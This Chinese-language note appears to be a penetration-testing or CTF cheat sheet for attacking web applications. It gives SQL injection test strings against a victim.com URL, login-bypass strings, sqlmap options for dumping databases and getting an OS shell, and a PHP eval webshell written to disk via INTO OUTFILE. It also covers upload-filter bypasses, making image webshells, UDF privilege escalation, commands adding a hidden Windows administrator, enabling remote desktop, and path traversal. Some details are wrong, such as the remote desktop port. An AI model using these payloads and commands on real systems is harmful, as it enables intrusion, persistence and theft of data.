AWVS 检测查找SQL漏洞,查找后台登录界面
御剑后台目录扫描查找SQL漏洞,查找后台登录界面
御剑后台端口扫描
测试常见网页名(phpinfo.php admin.php…)
如果拿到webshell 查看网站配置文件,config.php(会有数据库账号密码)
##SQL注入##
1.1 单引号测试,观察是否有注入点
http://www.victim.com/cms/search.php?keywords=foo’ AND ‘1’='1
http://www.victim.com/cms/search.php?keywords=foo’ AND ‘1’='2
http://www.victim.com/cms/search.php?id=3 AND 1=1
http://www.victim.com/cms/search.php?id=3 AND 1=2
万能密码:‘ OR ‘1’=’1’ OR 1=1 ‘ OR ‘1’=’1
1.2 sqlmap
查看数据库 找账号密码
- –dbs
- -D –tables
- -D -T --columns
- -D -T -C --dump
- –os-shell (注意观察是否有文件上传路径)
- –passwords
- –current-user
- –sql-shell(可以上传一句话木马select '<?php @eval($_POST[cmd])?>'INTO OUTFILE ‘D:\xampp\htdocs\xiaoma.php’)
- –level 1-5
tips:
i.如果sql注入被过滤,用tamper脚本
ii.如果数据库找不到明文密码,换思路,去网站找配置文件(用os-shell)
1.3 phpmyadmin
是否存在数据库图形化
select语句(一句话木马),若成功,用菜刀,蚁剑(也可以用-–sql-shell 写数据库命令)
1.4宽字节注入
如果SQL注入实在是跑不出来,而且响应包提示,说服务器使用的字符集是GBK或者GB2312的,就可以在参数后面手动加上%df%27,然后再去用sqlmap爆破
##文件上传 ##
到不到明显上传点时,想办法找到网站根目录(phpinfo.php)盲猜
##文件上传绕过##
- 前端过滤:尝试拦截shell.php.jpg或shell.php%00.jpg的请求包,拦截后修改回shell.php再转发;
- 后端过滤:拦截shell.php1的请求包,拦截后修改回shell.php再转发
- MIME限制文件上传
文件类型不正确,拦包修改类型 - 扩展限制文件上传
换成大小写试试 - 内容限制文件上传
windows命令合成图片木马
将php文件1.php和图片文件1.jpg放到同一目录下,cmd也在同一目录下,之后执行命令:copy 1.jpg/b + 1.php/a 2.jpg
新生成的2.jpg就是制作好的图片马
##目录遍历##
##冰蝎##或菜刀或蚁剑
tips:看不到路径时,拦截上传shell.php的包,返回的响应包会有连接冰蝎的路径
- whoami测试权限
- com.php浏览器查看 com.php?a=whoami 查看权限
- udf.php提权(前提是知道roo用户的密码,可以先尝试暴力破解)
创建管理员组用户语句
net user 账号 密码 /add
net localgroup admnistrators 账号 /add
##远程桌面连接##
默认3889端口远程控制 (可以从御剑端口扫描查看)
如果不是默认端口,远程连接时加端口
如果端口没开,udf.php提交后的页面上用命令开
##文件包含##
发现文件提交是文件,拦截,repeater 盲猜key.php,key.txt 或者 . ./ . ./一级一级返回路径查看
##查看源码##
如果网页页面空白,可以查看源码
关注包含key字样,admin字样的网页源码
##暴力破解##
考虑双参数
用户名字典:user root admin test guest Administrator